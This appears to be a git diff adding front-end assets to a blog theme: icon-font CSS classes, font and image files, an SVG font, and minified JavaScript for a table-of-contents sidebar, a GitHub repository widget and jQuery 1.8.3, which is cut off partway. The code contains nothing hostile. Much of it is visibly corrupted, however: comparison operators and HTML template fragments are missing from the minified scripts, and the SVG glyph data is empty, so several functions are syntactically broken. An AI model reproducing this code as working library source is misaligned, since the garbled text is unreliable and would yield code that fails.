+.fi-cloud:before { content: "\f12d"; } +.fi-comment-minus:before { content: "\f12e"; } +.fi-comment-quotes:before { content: "\f12f"; } +.fi-comment-video:before { content: "\f130"; } +.fi-comment:before { content: "\f131"; } +.fi-comments:before { content: "\f132"; } +.fi-compass:before { content: "\f133"; } +.fi-contrast:before { content: "\f134"; } +.fi-credit-card:before { content: "\f135"; } +.fi-crop:before { content: "\f136"; } +.fi-crown:before { content: "\f137"; } +.fi-css3:before { content: "\f138"; } +.fi-database:before { content: "\f139"; } +.fi-die-five:before { content: "\f13a"; } +.fi-die-four:before { content: "\f13b"; } +.fi-die-one:before { content: "\f13c"; } +.fi-die-six:before { content: "\f13d"; } +.fi-die-three:before { content: "\f13e"; } +.fi-die-two:before { content: "\f13f"; } +.fi-dislike:before { content: "\f140"; } +.fi-dollar-bill:before { content: "\f141"; } +.fi-dollar:before { content: "\f142"; } +.fi-download:before { content: "\f143"; } +.fi-eject:before { content: "\f144"; } +.fi-elevator:before { content: "\f145"; } +.fi-euro:before { content: "\f146"; } +.fi-eye:before { content: "\f147"; } +.fi-fast-forward:before { content: "\f148"; } +.fi-female-symbol:before { content: "\f149"; } +.fi-female:before { content: "\f14a"; } +.fi-filter:before { content: "\f14b"; } +.fi-first-aid:before { content: "\f14c"; } +.fi-flag:before { content: "\f14d"; } +.fi-folder-add:before { content: "\f14e"; } +.fi-folder-lock:before { content: "\f14f"; } +.fi-folder:before { content: "\f150"; } +.fi-foot:before { content: "\f151"; } +.fi-foundation:before { content: "\f152"; } +.fi-graph-bar:before { content: "\f153"; } +.fi-graph-horizontal:before { content: "\f154"; } +.fi-graph-pie:before { content: "\f155"; } +.fi-graph-trend:before { content: "\f156"; } +.fi-guide-dog:before { content: "\f157"; } +.fi-hearing-aid:before { content: "\f158"; } +.fi-heart:before { content: "\f159"; } +.fi-home:before { content: "\f15a"; } +.fi-html5:before { content: "\f15b"; } +.fi-indent-less:before { content: "\f15c"; } +.fi-indent-more:before { content: "\f15d"; } +.fi-info:before { content: "\f15e"; } +.fi-italic:before { content: "\f15f"; } +.fi-key:before { content: "\f160"; } +.fi-laptop:before { content: "\f161"; } +.fi-layout:before { content: "\f162"; } +.fi-lightbulb:before { content: "\f163"; } +.fi-like:before { content: "\f164"; } +.fi-link:before { content: "\f165"; } +.fi-list-bullet:before { content: "\f166"; } +.fi-list-number:before { content: "\f167"; } +.fi-list-thumbnails:before { content: "\f168"; } +.fi-list:before { content: "\f169"; } +.fi-lock:before { content: "\f16a"; } +.fi-loop:before { content: "\f16b"; } +.fi-magnifying-glass:before { content: "\f16c"; } +.fi-mail:before { content: "\f16d"; } +.fi-male-female:before { content: "\f16e"; } +.fi-male-symbol:before { content: "\f16f"; } +.fi-male:before { content: "\f170"; } +.fi-map:before { content: "\f171"; } +.fi-marker:before { content: "\f172"; } +.fi-megaphone:before { content: "\f173"; } +.fi-microphone:before { content: "\f174"; } +.fi-minus-circle:before { content: "\f175"; } +.fi-minus:before { content: "\f176"; } +.fi-mobile-signal:before { content: "\f177"; } +.fi-mobile:before { content: "\f178"; } +.fi-monitor:before { content: "\f179"; } +.fi-mountains:before { content: "\f17a"; } +.fi-music:before { content: "\f17b"; } +.fi-next:before { content: "\f17c"; } +.fi-no-dogs:before { content: "\f17d"; } +.fi-no-smoking:before { content: "\f17e"; } +.fi-page-add:before { content: "\f17f"; } +.fi-page-copy:before { content: "\f180"; } +.fi-page-csv:before { content: "\f181"; } +.fi-page-delete:before { content: "\f182"; } +.fi-page-doc:before { content: "\f183"; } +.fi-page-edit:before { content: "\f184"; } +.fi-page-export-csv:before { content: "\f185"; } +.fi-page-export-doc:before { content: "\f186"; } +.fi-page-export-pdf:before { content: "\f187"; } +.fi-page-export:before { content: "\f188"; } +.fi-page-filled:before { content: "\f189"; } +.fi-page-multiple:before { content: "\f18a"; } +.fi-page-pdf:before { content: "\f18b"; } +.fi-page-remove:before { content: "\f18c"; } +.fi-page-search:before { content: "\f18d"; } +.fi-page:before { content: "\f18e"; } +.fi-paint-bucket:before { content: "\f18f"; } +.fi-paperclip:before { content: "\f190"; } +.fi-pause:before { content: "\f191"; } +.fi-paw:before { content: "\f192"; } +.fi-paypal:before { content: "\f193"; } +.fi-pencil:before { content: "\f194"; } +.fi-photo:before { content: "\f195"; } +.fi-play-circle:before { content: "\f196"; } +.fi-play-video:before { content: "\f197"; } +.fi-play:before { content: "\f198"; } +.fi-plus:before { content: "\f199"; } +.fi-pound:before { content: "\f19a"; } +.fi-power:before { content: "\f19b"; } +.fi-previous:before { content: "\f19c"; } +.fi-price-tag:before { content: "\f19d"; } +.fi-pricetag-multiple:before { content: "\f19e"; } +.fi-print:before { content: "\f19f"; } +.fi-prohibited:before { content: "\f1a0"; } +.fi-projection-screen:before { content: "\f1a1"; } +.fi-puzzle:before { content: "\f1a2"; } +.fi-quote:before { content: "\f1a3"; } +.fi-record:before { content: "\f1a4"; } +.fi-refresh:before { content: "\f1a5"; } +.fi-results-demographics:before { content: "\f1a6"; } +.fi-results:before { content: "\f1a7"; } +.fi-rewind-ten:before { content: "\f1a8"; } +.fi-rewind:before { content: "\f1a9"; } +.fi-rss:before { content: "\f1aa"; } +.fi-safety-cone:before { content: "\f1ab"; } +.fi-save:before { content: "\f1ac"; } +.fi-share:before { content: "\f1ad"; } +.fi-sheriff-badge:before { content: "\f1ae"; } +.fi-shield:before { content: "\f1af"; } +.fi-shopping-bag:before { content: "\f1b0"; } +.fi-shopping-cart:before { content: "\f1b1"; } +.fi-shuffle:before { content: "\f1b2"; } +.fi-skull:before { content: "\f1b3"; } +.fi-social-500px:before { content: "\f1b4"; } +.fi-social-adobe:before { content: "\f1b5"; } +.fi-social-amazon:before { content: "\f1b6"; } +.fi-social-android:before { content: "\f1b7"; } +.fi-social-apple:before { content: "\f1b8"; } +.fi-social-behance:before { content: "\f1b9"; } +.fi-social-bing:before { content: "\f1ba"; } +.fi-social-blogger:before { content: "\f1bb"; } +.fi-social-delicious:before { content: "\f1bc"; } +.fi-social-designer-news:before { content: "\f1bd"; } +.fi-social-deviant-art:before { content: "\f1be"; } +.fi-social-digg:before { content: "\f1bf"; } +.fi-social-dribbble:before { content: "\f1c0"; } +.fi-social-drive:before { content: "\f1c1"; } +.fi-social-dropbox:before { content: "\f1c2"; } +.fi-social-evernote:before { content: "\f1c3"; } +.fi-social-facebook:before { content: "\f1c4"; } +.fi-social-flickr:before { content: "\f1c5"; } +.fi-social-forrst:before { content: "\f1c6"; } +.fi-social-foursquare:before { content: "\f1c7"; } +.fi-social-game-center:before { content: "\f1c8"; } +.fi-social-github:before { content: "\f1c9"; } +.fi-social-google-plus:before { content: "\f1ca"; } +.fi-social-hacker-news:before { content: "\f1cb"; } +.fi-social-hi5:before { content: "\f1cc"; } +.fi-social-instagram:before { content: "\f1cd"; } +.fi-social-joomla:before { content: "\f1ce"; } +.fi-social-lastfm:before { content: "\f1cf"; } +.fi-social-linkedin:before { content: "\f1d0"; } +.fi-social-medium:before { content: "\f1d1"; } +.fi-social-myspace:before { content: "\f1d2"; } +.fi-social-orkut:before { content: "\f1d3"; } +.fi-social-path:before { content: "\f1d4"; } +.fi-social-picasa:before { content: "\f1d5"; } +.fi-social-pinterest:before { content: "\f1d6"; } +.fi-social-rdio:before { content: "\f1d7"; } +.fi-social-reddit:before { content: "\f1d8"; } +.fi-social-skillshare:before { content: "\f1d9"; } +.fi-social-skype:before { content: "\f1da"; } +.fi-social-smashing-mag:before { content: "\f1db"; } +.fi-social-snapchat:before { content: "\f1dc"; } +.fi-social-spotify:before { content: "\f1dd"; } +.fi-social-squidoo:before { content: "\f1de"; } +.fi-social-stack-overflow:before { content: "\f1df"; } +.fi-social-steam:before { content: "\f1e0"; } +.fi-social-stumbleupon:before { content: "\f1e1"; } +.fi-social-treehouse:before { content: "\f1e2"; } +.fi-social-tumblr:before { content: "\f1e3"; } +.fi-social-twitter:before { content: "\f1e4"; } +.fi-social-vimeo:before { content: "\f1e5"; } +.fi-social-windows:before { content: "\f1e6"; } +.fi-social-xbox:before { content: "\f1e7"; } +.fi-social-yahoo:before { content: "\f1e8"; } +.fi-social-yelp:before { content: "\f1e9"; } +.fi-social-youtube:before { content: "\f1ea"; } +.fi-social-zerply:before { content: "\f1eb"; } +.fi-social-zurb:before { content: "\f1ec"; } +.fi-sound:before { content: "\f1ed"; } +.fi-star:before { content: "\f1ee"; } +.fi-stop:before { content: "\f1ef"; } +.fi-strikethrough:before { content: "\f1f0"; } +.fi-subscript:before { content: "\f1f1"; } +.fi-superscript:before { content: "\f1f2"; } +.fi-tablet-landscape:before { content: "\f1f3"; } +.fi-tablet-portrait:before { content: "\f1f4"; } +.fi-target-two:before { content: "\f1f5"; } +.fi-target:before { content: "\f1f6"; } +.fi-telephone-accessible:before { content: "\f1f7"; } +.fi-telephone:before { content: "\f1f8"; } +.fi-text-color:before { content: "\f1f9"; } +.fi-thumbnails:before { content: "\f1fa"; } +.fi-ticket:before { content: "\f1fb"; } +.fi-torso-business:before { content: "\f1fc"; } +.fi-torso-female:before { content: "\f1fd"; } +.fi-torso:before { content: "\f1fe"; } +.fi-torsos-all-female:before { content: "\f1ff"; } +.fi-torsos-all:before { content: "\f200"; } +.fi-torsos-female-male:before { content: "\f201"; } +.fi-torsos-male-female:before { content: "\f202"; } +.fi-torsos:before { content: "\f203"; } +.fi-trash:before { content: "\f204"; } +.fi-trees:before { content: "\f205"; } +.fi-trophy:before { content: "\f206"; } +.fi-underline:before { content: "\f207"; } +.fi-universal-access:before { content: "\f208"; } +.fi-unlink:before { content: "\f209"; } +.fi-unlock:before { content: "\f20a"; } +.fi-upload-cloud:before { content: "\f20b"; } +.fi-upload:before { content: "\f20c"; } +.fi-usb:before { content: "\f20d"; } +.fi-video:before { content: "\f20e"; } +.fi-volume-none:before { content: "\f20f"; } +.fi-volume-strike:before { content: "\f210"; } +.fi-volume:before { content: "\f211"; } +.fi-web:before { content: "\f212"; } +.fi-wheelchair:before { content: "\f213"; } +.fi-widget:before { content: "\f214"; } +.fi-wrench:before { content: "\f215"; } +.fi-x-circle:before { content: "\f216"; } +.fi-x:before { content: "\f217"; } +.fi-yen:before { content: "\f218"; } +.fi-zoom-in:before { content: "\f219"; } +.fi-zoom-out:before { content: "\f21a"; } diff --git a/themes/huno/source/fonts/foundation-icons/foundation-icons.eot b/themes/huno/source/fonts/foundation-icons/foundation-icons.eot new file mode 100644 index 0000000..1746ad4 Binary files /dev/null and b/themes/huno/source/fonts/foundation-icons/foundation-icons.eot differ diff --git a/themes/huno/source/fonts/foundation-icons/foundation-icons.svg b/themes/huno/source/fonts/foundation-icons/foundation-icons.svg new file mode 100644 index 0000000..4e014ff --- /dev/null +++ b/themes/huno/source/fonts/foundation-icons/foundation-icons.svg @@ -0,0 +1,970 @@ + + + + + +Created by FontForge 20120731 at Fri Aug 23 09:25:55 2013 + By Jordan Humphreys +Created by Jordan Humphreys with FontForge 2.0 (http://fontforge.sf.net) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/themes/huno/source/fonts/foundation-icons/foundation-icons.ttf b/themes/huno/source/fonts/foundation-icons/foundation-icons.ttf new file mode 100644 index 0000000..6cce217 Binary files /dev/null and b/themes/huno/source/fonts/foundation-icons/foundation-icons.ttf differ diff --git a/themes/huno/source/fonts/foundation-icons/foundation-icons.woff b/themes/huno/source/fonts/foundation-icons/foundation-icons.woff new file mode 100644 index 0000000..e2cfe25 Binary files /dev/null and b/themes/huno/source/fonts/foundation-icons/foundation-icons.woff differ diff --git a/themes/huno/source/images/background-cover.jpg b/themes/huno/source/images/background-cover.jpg new file mode 100644 index 0000000..94f8dcc Binary files /dev/null and b/themes/huno/source/images/background-cover.jpg differ diff --git a/themes/huno/source/images/totop.png b/themes/huno/source/images/totop.png new file mode 100644 index 0000000..d6cdb88 Binary files /dev/null and b/themes/huno/source/images/totop.png differ diff --git a/themes/huno/source/js/awesome-toc.min.js b/themes/huno/source/js/awesome-toc.min.js new file mode 100644 index 0000000..2e01ee7 --- /dev/null +++ b/themes/huno/source/js/awesome-toc.min.js @@ -0,0 +1,2 @@ +/*! awesome-toc 2015-12-05 */ +!function(a){var b=!1,c=function(a){b&&console.log(a)},d={},e={css:{fontSize:"90%",largeFontSize:"120%",fontColor:"#999",activeFontColor:"#87daff",lineHeight:"1.8",backgroundColor:"#222",zIndex:999999},title:"文章目录",windowMinWidth:600,sideBarId:"sidebar-toc-Ik4D",sideBarWidth:"300px",sideBarPrefix:"sidebar-toc-Ik4D-",itemPrefix:"- ",headingList:["h1","h2","h3","h4","h5","h6"],enableToTopButton:!0,enableToc:!0,overlay:!1,autoDetectHeadings:!0,contentId:"",contentClass:"",displayNow:!1,topOffset:0},f=function(){var b=document.createElement("div");b.setAttribute("id",e.sideBarId),b.setAttribute("class",e.sideBarId),a("body").append(b),a(b).css({background:e.css.backgroundColor+" none repeat scroll 0 0",bottom:"0","box-shadow":"0 2px 4px #000 inset",position:"fixed",right:"0",top:"0",width:"0","z-index":""+e.css.zIndex,color:e.css.fontColor,overflow:"auto","font-size":e.css.fontSize,"text-align":"left"}),g(),n()},g=function(b){var b=b||document;contentRef=b.body,e.contentClass.length>0&&(contentRef=document.getElementsByClassName(e.contentClass)[0]),e.contentId.length>0&&(contentRef=document.getElementById(e.contentId)),c(contentRef);var d=b.getElementById(e.sideBarId),f=b.createElement("div");a(f).css({"text-align":"center","border-bottom-color":e.css.activeFontColor,color:e.css.activeFontColor,"border-width":"0 0 1.5px 0","border-style":"solid","font-size":e.css.largeFontSize,padding:"8px 0"}),f.textContent=e.title,d.appendChild(f);var g=e.headingList;if(g.length>0){var i=[].slice.call(contentRef.querySelectorAll(g.join(", ")));i.forEach(function(c,f){var i=b.createElement("a");i.setAttribute("name",""+e.sideBarPrefix+f),i.setAttribute("id",""+e.sideBarPrefix+f),c.parentNode.insertBefore(i,c);var j=b.createElement("a");j.setAttribute("href","#"+e.sideBarPrefix+f),j.textContent=e.itemPrefix+c.textContent,a(j).click(function(b){a(this).parent().parent().find("a").css({color:e.css.fontColor}),a(this).css({color:e.css.activeFontColor});var c=a(a(this).attr("href")).offset().top-e.topOffset;m(),a("html, body").stop().animate({scrollTop:c},{duration:300,complete:n}),b.preventDefault()});var k=b.createElement("div");a(k).css({"padding-left":h(c.tagName.toLowerCase(),g,20),"text-align":"left"}),k.appendChild(j),d.appendChild(k)})}a("#"+e.sideBarId+" div").css({margin:"0 12px"});var j="#"+e.sideBarId+" a, ";j+="#"+e.sideBarId+" a:hover, ",j+="#"+e.sideBarId+" a:visited",a(j).css({color:e.css.fontColor,"word-wrap":"break-word","text-decoration":"none","line-height":e.css.lineHeight})},h=function(a,b,c){for(var d=0;d=b.length&&(d=0),""+d*c+"px"},i=function(){var b=document.createElement("div");b.setAttribute("id",e.sideBarPrefix+"toggleBtn"),a(b).css({background:"#222 none repeat scroll 0 0",bottom:"55px",cursor:"pointer",height:"15px","line-height":"0",padding:"5px",position:"fixed",right:"50px",width:"15px","z-index":""+(e.css.zIndex+1)});for(var c=0;3>c;c++){var d=document.createElement("span");a(d).css({background:"#87daff none repeat scroll 0 0",display:"inline-block",height:"2px","margin-top":"2px",position:"relative","vertical-align":"top",width:"100%"}).appendTo(b)}a("body").append(b),b.onclick=j},j=function(){if(c("in toggleButtonClickListener: overlay "+e.overlay),!(a(window).width()▲'),b.onclick=function(){a("html, body").animate({scrollTop:0},600)},a("body").append(b)},l=function(){var b=a(this).scrollTop()+10,c=d.scrollItems.map(function(){return a(this).offset().top0&&(b="."+e.contentClass),e.contentId.length>0&&(b="#"+e.contentId),a(b)},p=function(b,c){b=b||1,c=c||6;var d=["h1","h2","h3","h4","h5","h6"];scope=o();for(var e=[],f=0;f=b&&e.push(heading):a(heading).length>=1&&e.push(heading),!(e.length>=c));f++);return e},q=function(a){scope=o();for(var b=[],c=0;c0&&b.push(heading.toLowerCase());return b},r=function(){return 0==a("#"+e.sideBarPrefix+"toggleBtn").length?!1:!0},s=function(){return 0==a("#"+e.sideBarPrefix+"toTopBtn").length?!1:!0};a.extend({awesome_toc:function(b){a.extend(!0,e,b),e.contentId=e.contentId.trim(),e.contentClass=e.contentClass.trim(),e.autoDetectHeadings&&(e.headingList=p()),e.headingList=q(e.headingList),e.enableToc&&!r()&&(f(),i(),d.lastId="",d.sideBar=a("#"+e.sideBarId),d.menuItems=d.sideBar.find("a"),d.scrollItems=d.menuItems.map(function(){var b=a(a(this).attr("href"));return b.length?b:void 0}),c(d)),e.enableToTopButton&&!s()&&k(),e.displayNow&&j()}})}(jQuery); \ No newline at end of file diff --git a/themes/huno/source/js/jquery.githubRepoWidget.min.js b/themes/huno/source/js/jquery.githubRepoWidget.min.js new file mode 100644 index 0000000..2eab4af --- /dev/null +++ b/themes/huno/source/js/jquery.githubRepoWidget.min.js @@ -0,0 +1 @@ +jQuery(document).ready(function(e){var t=0;var n="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAXCAMAAAAx3e/WAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNS4xIE1hY2ludG9zaCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpEQjIyNkJERkM0NjYxMUUxOEFDQzk3ODcxRDkzRjhCRSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpEQjIyNkJFMEM0NjYxMUUxOEFDQzk3ODcxRDkzRjhCRSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkRCMjI2QkREQzQ2NjExRTE4QUNDOTc4NzFEOTNGOEJFIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkRCMjI2QkRFQzQ2NjExRTE4QUNDOTc4NzFEOTNGOEJFIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+dka2KgAAAEVQTFRFxMTEyMjI0tLSvb29vr6+zc3Ny8vLxcXFz8/P6enp3t7ex8fH0dHR1NTUw8PDwMDAzs7OvLy8wcHBu7u7v7+/zMzM////budQFwAAABd0Uk5T/////////////////////////////wDmQOZeAAAAcklEQVR42tSQSQ7DMAwD6chOukWs5eX/Ty2coo0T9wOdEzEgdRBuzNmnDofgja52JDyz5TCqUp0O6kfrb4bzSXkRiTviEZZ6JKLMJ5VQ2v8iGbtbfEwXmjFMG0VwdQo10hQNxYqtLMv9O6xvpZ/QeAkwAKjwHiJLaJc3AAAAAElFTkSuQmCC";var r="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAqCAMAAACEJ4viAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNS4xIE1hY2ludG9zaCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpEQjIyNkJEQkM0NjYxMUUxOEFDQzk3ODcxRDkzRjhCRSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpEQjIyNkJEQ0M0NjYxMUUxOEFDQzk3ODcxRDkzRjhCRSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkRCMjI2QkQ5QzQ2NjExRTE4QUNDOTc4NzFEOTNGOEJFIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkRCMjI2QkRBQzQ2NjExRTE4QUNDOTc4NzFEOTNGOEJFIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+h1kA9gAAAK5QTFRF+fn5sbGx8fHx09PTmpqa2dnZ/f3919fX9PT00NDQ1dXVpKSk+vr6+/v7vb298vLyycnJ8/PztLS0zc3N6enp/v7+q6ur2NjY9/f3srKy/Pz8p6en7u7uoaGhnJyc4eHhtbW1pqam6Ojo9fX17e3toqKirKys1NTUzs7Ox8fHwcHBwMDA5eXlnZ2dpaWl0dHR9vb25ubm4uLi3d3dqqqqwsLCv7+/oKCgmZmZ////8yEsbwAAAMBJREFUeNrE0tcOgjAUBuDSliUoMhTEvfdef9//xUQjgaLX0Ium/ZLT/+SkRPxZpGykvuf5VMJogy5jY9yjDHcWFhqlcRuHc4o6B1QK0BDg+hcZgNDh3NWTwzItH/bRrhvT+g3zSxZkNGCZpoWGIbU0a3Y6zV5VA6keyeDxiw62P0gUqEW0FbDim4nVikFJbU2zZXybUEaxhCqOQqyh5/G0wpWICUwthyqwD4InOMuXJ7/gs7WkoPdVg1vykF8CDACEFanKO3aSYwAAAABJRU5ErkJggg==";e(".github-widget").each(function(){if(t==0)e("head").append('");t++;var s=e(this),o,u=s.data("repo"),a=u.split("/")[0],f=u.split("/")[1],l="http://github.com/"+a,c="http://github.com/"+a+"/"+f;o=e('
    '+'
    '+"

    "+''+a+""+"/"+''+f+""+"

    "+'
    '+'?'+'?'+"
    "+"
    "+'
    '+'

    Read More

    '+''+"
    "+'"+"
    ");o.appendTo(s);e.ajax({url:"https://api.github.com/repos/"+u,dataType:"jsonp",success:function(t){var n=t.data,r,i="unknown";if(n.pushed_at){r=new Date(n.pushed_at);i=r.getMonth()+1+"-"+r.getDate()+"-"+r.getFullYear()}o.find(".watchers").text(n.watchers);o.find(".forks").text(n.forks);o.find(".description span").text(n.description);o.find(".updated").html("Latest commit to the "+n.default_branch+" branch on "+i);if(n.homepage!=null)o.find(".link").append(e("").attr("href",n.homepage).text(n.homepage))}})})}); \ No newline at end of file diff --git a/themes/huno/source/js/jquery.min.js b/themes/huno/source/js/jquery.min.js new file mode 100644 index 0000000..3883779 --- /dev/null +++ b/themes/huno/source/js/jquery.min.js @@ -0,0 +1,2 @@ +/*! jQuery v1.8.3 jquery.com | jquery.org/license */ +(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t,r)}return v.grep(e,function(e,r){return v.inArray(e,t)>=0===n})}function lt(e){var t=ct.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function At(e,t){if(t.nodeType!==1||!v.hasData(e))return;var n,r,i,s=v._data(e),o=v._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;r").appendTo(i.body),n=t.css("display");t.remove();if(n==="none"||n===""){Pt=i.body.appendChild(Pt||v.extend(i.createElement("iframe"),{frameBorder:0,width:0,height:0}));if(!Ht||!Pt.createElement)Ht=(Pt.contentWindow||Pt.contentDocument).document,Ht.write(""),Ht.close();t=Ht.body.appendChild(Ht.createElement(e)),n=Dt(t,"display"),i.body.removeChild(Pt)}return Wt[e]=n,n}function fn(e,t,n,r){var i;if(v.isArray(t))v.each(t,function(t,i){n||sn.test(e)?r(e,i):fn(e+"["+(typeof i=="object"?t:"")+"]",i,n,r)});else if(!n&&v.type(t)==="object")for(i in t)fn(e+"["+i+"]",t[i],n,r);else r(e,t)}function Cn(e){return function(t,n){typeof t!="string"&&(n=t,t="*");var r,i,s,o=t.toLowerCase().split(y),u=0,a=o.length;if(v.isFunction(n))for(;u)[^>]*$|#([\w\-]*)$)/,E=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,S=/^[\],:{}\s]*$/,x=/(?:^|:|,)(?:\s*\[)+/g,T=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,N=/"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,C=/^-ms-/,k=/-([\da-z])/gi,L=function(e,t){return(t+"").toUpperCase()},A=function(){i.addEventListener?(i.removeEventListener("DOMContentLoaded",A,!1),v.ready()):i.readyState==="complete"&&(i.detachEvent("onreadystatechange",A),v.ready())},O={};v.fn=v.prototype={constructor:v,init:function(e,n,r){var s,o,u,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(typeof e=="string"){e.charAt(0)==="<"&&e.charAt(e.length-1)===">"&&e.length>=3?s=[null,e,null]:s=w.exec(e);if(s&&(s[1]||!n)){if(s[1])return n=n instanceof v?n[0]:n,a=n&&n.nodeType?n.ownerDocument||n:i,e=v.parseHTML(s[1],a,!0),E.test(s[1])&&v.isPlainObject(n)&&this.attr.call(e,n,!0),v.merge(this,e);o=i.getElementById(s[2]);if(o&&o.parentNode){if(o.id!==s[2])return r.find(e);this.length=1,this[0]=o}return this.context=i,this.selector=e,this}return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}return v.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),v.makeArray(e,this))},selector:"",jquery:"1.8.3",length:0,size:function(){return this.length},toArray:function(){return l.call(this)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=v.merge(this.constructor(),e);return r.prevObject=this,r.context=this.context,t==="find"?r.selector=this.selector+(this.selector?" ":"")+n:t&&(r.selector=this.selector+"."+t+"("+n+")"),r},each:function(e,t){return v.each(this,e,t)},ready:function(e){return v.ready.promise().done(e),this},eq:function(e){return e=+e,e===-1?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(l.apply(this,arguments),"slice",l.call(arguments).join(","))},map:function(e){return this.pushStack(v.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:[].sort,splice:[].splice},v.fn.init.prototype=v.fn,v.extend=v.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;typeof u=="boolean"&&(l=u,u=arguments[1]||{},a=2),typeof 